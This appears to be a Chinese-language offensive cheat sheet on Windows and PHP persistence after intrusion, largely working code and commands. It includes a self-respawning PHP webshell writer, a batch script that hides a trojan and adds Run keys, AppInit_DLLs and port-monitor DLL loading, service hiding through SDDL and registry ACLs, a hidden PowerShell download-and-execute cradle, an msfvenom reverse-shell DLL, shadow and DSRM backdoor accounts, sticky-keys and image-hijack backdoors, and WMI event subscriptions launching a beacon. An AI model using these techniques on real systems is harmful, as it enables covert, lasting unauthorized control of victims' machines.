PHP不死马 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php ignore_user_abort (); set_time_limit (0 );$interval = 5 ; do {$filename = 'test.php' ;if (file_exists ($filename )) {echo "xxx" ; }else {$file = fopen ("test.php" , "w" );$txt = "<?php phpinfo();?>\n" ;fwrite ($file , $txt );fclose ($file ); }sleep ($interval ); } while (true );?>
自启动技术 注册表后⻔ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @echo off :: 1 . 设置变量:定义木马存放路径和伪装名称 set "TARGET_DIR=C:\P rogramData\W indowsApp" set "TARGET_EXE=SecurityHealthHost.exe" set "SVR_NAME=WindowsSecurityHealth" :: 2 . 创建目录并移动木马 (假设当前目录下有你的木马)if not exist "%TARGET_DIR%" mkdir "%TARGET_DIR%" move /y "pentestlab.exe" "%TARGET_DIR%\% TARGET_EXE%" :: 3 . 文件隐藏:增加系统级和隐藏属性 attrib + s + h "%TARGET_DIR%\% TARGET_EXE%" attrib + s + h "%TARGET_DIR%" :: 4 . 注册表持久化:写入 HKCU (无需管理员权限) reg add "HKEY_CURRENT_USER\S oftware\M icrosoft\W indows\C urrentVersion\R un" /v "%SVR_NAME%" /t REG_SZ /d "\" %TARGET_DIR%\% TARGET_EXE%\" " /f :: 5 . 注册表持久化:写入 RunOnce (双重保险) reg add "HKEY_CURRENT_USER\S oftware\M icrosoft\W indows\C urrentVersion\R unOnce" /v "%SVR_NAME%" /t REG_SZ /d "\" %TARGET_DIR%\% TARGET_EXE%\" " /f echo Done.
计划任务 at<2012
1 2 3 4 5 net use \\191.168.3.144 \ipc$ "密码" /user:"用户名" at \\191.168.3.144 16 :52 c:\transfer.exe
schtasks>=2012
1 2 3 4 5 6 创建任务shell schtasks /create /s 192.168.3.144 /ru system /u dbadmin /p admin!@#45 /tn "transfer" /sc DAILY /tr c:\transfer.exe /f 运行任务shell schtasks /run /s 192.168.3.144 /u dbadmin /p admin!@#45 /tn "transfer" /i 删除任务shell schtasks /delete /s 192.168.3.144 /u dbadmin /p admin!@#45 /tn "transfer" /f
自启动目录 将⽊⻢样本放⼊系统的启动⽬录当中 ,可针对重启主机 。
1 C :\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
策略组脚本维持 输入gpedit.msc 打开组策略,打开 windows设置 脚本 里面又关机和开机
组策略 (Group Policy) 里“计算机启动脚本” 的存放位置
1 C :\Windows\System32\GroupPolicy\Machine\Scripts\Startup
在里面写入脚本1.bat
1 net user dis 123456 /add & net localgroup administrators dis /add
添加脚本
重启后会自动执行
T1546.010 Windows 操作系统中有一个注册表项叫 AppInit_DLLs
利用
攻击者修改注册表,将 LoadAppInit_DLLs 的值设置为 1。
在 AppInit_DLLs 中填入恶意 DLL(动态链接库)的路径。
效果
当计算机重启后,任何加载 user32.dll 的进程(几乎所有有图形界面的程序都会加载它),都会强制加载 攻击者指定的这个恶意 DLL。
DLL代码编写条件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 #include "pch.h" #include "tchar.h" #define DEF_DST_PROC "ctfmon.exe" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { TCHAR szCmd[MAX_PATH] = { 0 , }; TCHAR szPath[MAX_PATH] = { 0 , }; TCHAR *p = NULL ; STARTUPINFO si = { 0 , }; PROCESS_INFORMATION pi = { 0 , }; si.cb = sizeof (STARTUPINFO); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: if (!GetModuleFileName(NULL , szPath, MAX_PATH)) break ; if ((p = _tcsstr(szPath, DEF_DST_PROC)) != NULL ) { MessageBox(NULL , L"P151_Dll_Inject" , L"Success" , MB_ICONWARNING | MB_CANCELTRYCONTINUE | MB_DEFBUTTON2); } break ; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break ; } return TRUE ; }
操作注册表
使用命令行修改注册表容易被杀软拦截
编写了一个 C++ 程序(编译成 .exe)。当这个程序运行时,它直接在内存中 调用系统的底层函数去修改注册表。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #include <windows.h> #include <tchar.h> #include <stdio.h> int main() { HKEY hKey; TCHAR szDllPath[MAX_PATH] = _T ("C:\\Users\\Public\\Test.dll" ); DWORD dwData = 1 ; if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T ("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows" ), 0 , KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) { if (RegSetValueEx(hKey, _T ("AppInit_DLLs" ), 0 , REG_SZ, (const BYTE*)szDllPath, (_tcslen (szDllPath) + 1 ) * sizeof (TCHAR)) == ERROR_SUCCESS) { _tprintf (_T ("成功设置 AppInit_DLLs 路径\n" )); } if (RegSetValueEx(hKey, _T ("LoadAppInit_DLLs" ), 0 , REG_DWORD, (const BYTE*)&dwData, sizeof (dwData)) == ERROR_SUCCESS) { _tprintf (_T ("成功开启 LoadAppInit_DLLs 开关\n" )); } RegCloseKey(hKey); } else { _tprintf (_T ("打开注册表失败,可能需要管理员权限\n" )); } return 0 ; }
武器化
RDI+bdllspawn反射加载
服务操纵技术 安全描述符隐藏服务后门 原理:
使用sc或powershell来出创建自启动服务,再通过修改SDDL(安全描述符)隐藏服务, 最后利用powershell脚本来修改注册表项的访问权限,从而实现真正的隐藏。
通过注册服务创建后门
cmd创建自启动服务
1 2 sc create "自定义服务名" binpath= "cmd.exe /k 后门位置" depend= Tcpip obj= Localsystem start = auto
powershell创建自启动服务
1 2 3 new -service –Name ".NET CLR Networking 3.5.0.0" –DisplayName 3.5 .0.0 " –BinaryPathName " cmd.exe /k C:\Users\administrator\beacon.exe StartupType AutomaticDelayedStart
但创建的服务很容易被发现 通过 sc query 和 Get-Service 很容易发现,直接查询服务也能看见
通过修改SDDL(安全描述符)隐藏服务
安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。
安全描述符可以包含以下安全信息:
对象的所有者和主要组的 Sid(安全标识符)
用于指定允许或拒绝特定用户或组的访问权限的 DACL
指定为对象生成审核记录的访问尝试类型的 SACL
一组限制安全描述符或其各个成员的含义的控制位。
windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限,服务自然也存在其 SDDL,并且sc命令中可以设置SDDL。那么通过更改SDDL可以修改服务的各种权限来隐藏服务:
1 sc sdset ".NET CLR Networking 3.6 .6.6 " "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A ;;CCLCSWLOCRRC;;;IU)(A ;;CCLCSWLOCRRC;;;SU)(A ;;CCLCSWRPWPDTLOCRRC;;;SY)(A ;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
在知道服务名的前提下查询会显示拒绝访问
但这样做有一个问题:在注册表中很容易看到异常value
1 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking 3.5 .0 .0
修改注册表ACL
可以通过修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 function Server-Sddl-Change { [CmdletBinding ()]param ( [parameter (Mandatory =$false )][String ]$Name )$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\" $S = $ROOT +$NAME $acl = Get-Acl $S $acl .SetAccessRuleProtection($true , $false )$person = [System.Security.Principal.NTAccount ]"Everyone" $access = [System.Security.AccessControl.RegistryRights ]"QueryValues" $inheritance = [System.Security.AccessControl.InheritanceFlags ]"None" $propagation = [System.Security.AccessControl.PropagationFlags ]"None" $type = [System.Security.AccessControl.AccessControlType ]"Deny" $rule = New-Object System.Security.AccessControl.RegistryAccessRule( `$person ,$access ,$inheritance ,$propagation ,$type )$acl .AddAccessRule($rule )$person = [System.Security.Principal.NTAccount ]"Everyone" $access = [System.Security.AccessControl.RegistryRights ]"SetValue,CreateSubKey,EnumerateSu bKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,Chang ePermissions,TakeOwnership" $inheritance = [System.Security.AccessControl.InheritanceFlags ]"None" $propagation = [System.Security.AccessControl.PropagationFlags ]"None" $type = [System.Security.AccessControl.AccessControlType ]"Allow" $rule = New-Object System.Security.AccessControl.RegistryAccessRule( `$person ,$access ,$inheritance ,$propagation ,$type )$acl .AddAccessRule($rule )Set-Acl $S $acl }
远程加载powershell脚本:
1 2 3 powershell.exe - exec bypass - nop - w hidden - c "IEX((new-object net.webclient) .downloadstring( 'http://192.168.1.12/1.ps1') ) ; Server- Sddl- Change - Name '.NET CLR Networking 3.6.6.6'"
Monitor 权限维持 项目地址 https://github.com/Al1ex/Monitor
下载该项目,之后使用VS编译Monitor.cpp,当然也可以使用编译好的,Monitor.cpp代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 #include "Windows.h" int main () { MONITOR_INFO_2 monitorInfo; TCHAR env[12 ] = TEXT ("Windows x64" ); TCHAR name[12 ] = TEXT ("Monitor" ); TCHAR dll[12 ] = TEXT ("test.dll" ); monitorInfo.pName = name; monitorInfo.pEnvironment = env; monitorInfo.pDLLName = dll;AddMonitor (NULL , 2 , (LPBYTE)&monitorInfo);return 0 ; }
pName //监视器名称
pEnvironment //环境架构
pDLLName //监视器DLL文件的名称
使用
msf生成payload
1 2 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST =192.168.188.129 LPORT =4444 -f dll > shell.dll
将shell.dll复制到目标主机的system32目录下,之后重命名为test.dll(也就是上面的 PDLLName,你也可以自己修改为自己喜欢的,总之随意)
1 copy C:\temp\shell .dll C:\Windows\System32\test .dll
之后进入system32目录,并执行以下命令(Monitors.exe为之前编译好的文件,也需要放置到system32 目录下):
之后成功接收到Meterpreter会话
持久化实现
为了实现持久性,我们需要在”Monitors”注册表位置下设置一个key:
1 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
之后在命令行下执行以下命令创建一个注册表项,该注册表项将包含值test.dll,从编辑器中查看注册表 验证密钥是否已创建:
1 2 reg add "hklm\s ystem\c urrentcontrolset\c ontrol\p rint\m onitors\P entestlab" /v "Driver" /d "test.dll" /t REG_SZ
下次重新启动时,spoolsv.exe进程将加载Monitors注册表项中存在并存储在Windows文件夹System32 中的所有驱动程序DLL文件
账户与认证相关 影子账号 在拿到服务器后会创建一个带$符号的账户,因为在常规cmd下是无法查看到的。
通过管理用户可查到用户
打开注册表
HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User
查看administrator对应的键值为1f4和隐藏账户xiaowu$的键值为3eb 然后在Users中找到对应数字的F值,将3eb的F值替换为1f4的F值
将00003eb和xiaowu$按顺序导出为1.reg和2.reg
然后命令行中删除隐藏用户
按顺序点击刚才导出的reg文件,重新导入 重新添加到管理员组
1 net localgroup administrators xiaowu$ /add
此时命令行和本地用户组都查不到xiaowu$这个账户,只有注册表可以看到,我们就可以用这个影子账户进行远程登录
DSRM后门 dsrm账户是用来启动目录服务恢复模式时进行系统修复和恢复用的,这个账户是在dc创建时就被创建了,并且在安装过程中密码被设置,这个账户与域账户数据库无关,所以就算域数据库出了问题,dsrm也能给他恢复了。
修改dsrm密码
1 2 3 4 5 6 7 8 9 10 11 12 13 # 以管理员身份打开命令提示符,然后执行: ntdsutil # 进入ntdsutil交互界面后,依次执行:set dsrm password # 然后根据提示选择重置方式: # 方式A: 重置为当前登录域管理员的密码 sync from domain account domain \administrator # 方式B: 手动输入新密码reset password on server null
修改DSRM的登方式
1 2 3 0 :默认值,只有在域控制器重启并进入DSRM模式时,才能使用DSRM账户。1 :只有当本地AD、DS 服务停止时,才可以使用DSRM管理员账户登录域控制器。2 :在任何情况下,都可以使用DSRM登录。
1 2 3 4 5 6 reg add "HKEY_LOCAL_MACHINE\S YSTEM\C urrentControlSet\C ontrol\L SA" /v dsrmadminlogonbehavior /t REG_DWORD /d 2 reg query "HKEY_LOCAL_MACHINE\S YSTEM\C urrentControlSet\C ontrol\L SA" /v dsrmadminlogonbehavior 看返回值
登录
1 2 3 net use \\<目标DC的计算机名> \IPC$ "您的密码" /user :<目标DC的计算机名> \Administrator psexec.exe \\<DC_IP> -u <DC计算机名> \Administrator -p 您的密码 -h cmd.exe wmic /node:<DC_IP> /user :<DC计算机名> \Administrator /password:您的密码 process call create "cmd.exe /c whoami"
DSRM账户是域控制器本地主机的SYSTEM级别权限,不是域管理员权限。
程序替换/劫持 映像劫持 windows系统运行每个程序时,都会在HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options中查找相应的程序,如果存在,那么就会进一步查找是否存在Debugger值,并会在程序运行时优先运行Debugger项所指定的程序。
注册表
1 2 HKEY_LOCAL _MACHINE \SOFTWARE \Microsoft \WindowsNT \CurrentVersion \Image File Execution Options
新建项,命名与后续要触发的可执行文件程序文件名一致,我这里是manyanj.exe
新建一个Debugger,在输入值的栏目中填入你的后门绝对路径
点击manyanj.exe就会运行指定文件
shift后门 更改sethc.exe拥有者 为administrator
接着 cmd改名替换 sethc.exe
1 2 move C:\windows\system32\sethc.exe C:\windows\system32\sethc.exe .bak Copy C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe
连续按5次shift就会触发更改的文件
配置文件与脚本 Powershell配置文件后门 Powershell配置文件其实就是一个powershell脚本,他可以在每次运行powershell的时候自动运行,所以可以通过向该文件写入自定义的语句用来长期维持权限。
依次输入以下命令,查看当前是否存在配置文件。
1 2 3 4 echo $profile //显示 $profile 变量的内容(也就是当前 PowerShell 会话所使用的用户配置文件的完整路径)Test-path $profile //检查上面那个文件路径是否存在。返回 True(存在)或 False(不存在)
如果返回false则需要创建一个
1 New -Item -Path $profile -Type File –Force
然后写入命令,这里以创建一个用户为目标,也可以写成反弹shell
1.bat
1 net user dis 123456 /add & net localgroup administrators dis /add
这里的C:\1.bat是后门文件位置,实战情况下,各位需要按照实际文件路径来修改
1 2 3 $string = 'Start-Process "C:\1.bat"' $string | Out-File -FilePath $profile -Append more $profile
每次启动powershell都会执行命令创建用户
文件/进程隐藏 windows隐藏技术 使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和 隐藏文件属性。
1 Attrib +s +a +h +r 1 .php
显示隐藏
驱动级文件隐藏 驱动隐藏最典型的现象就是系统盘中存在以下文件:
1 2 3 4 c :\WINDOWS\xlkfs.datc :\WINDOWS\xlkfs.dllc :\WINDOWS\xlkfs.inic :\WINDOWS\system32\drivers\xlkfs.sys
隐藏驱动软件
http://www.xoslab.com/efl.html
Win订阅事件 1 2 3 4 5 6 创建事件过滤器 wmic / NAMESPACE:"\\ root\s ubscription" PATH __EventFilter CREATE Name= "WindowsUpdate" , EventNameSpace= "root\c imv2" , QueryLanguage= "WQL" , Query= "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 260" 创建事件消费者 wmic / NAMESPACE:"\\ root\s ubscription" PATH CommandLineEventConsumer CREATE Name= "WindowsUp" , ExecutablePath= "C:\U sers\s qladmin\D esktop\b eacon.exe" 创建绑定 wmic / NAMESPACE:"\\ root\s ubscription" PATH __FilterToConsumerBinding CREATE Filter= "__EventFilter.Name=\" WindowsUpdate\" " , Consumer= "CommandLineEventConsumer.Name=\" WindowsUp\" "
参考链接 映像劫持
https://blog.csdn.net/whl0071/article/details/130427821
https://blog.csdn.net/qq_55202378/article/details/140895624?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-140895624-blog-130427821.235
影子账号
https://blog.csdn.net/baidu_38844729/article/details/115708745
SDDL
https://mp.weixin.qq.com/s/zAQOfdbxtDNLha2fdSjWyw
https://blog.csdn.net/nicai321/article/details/122424652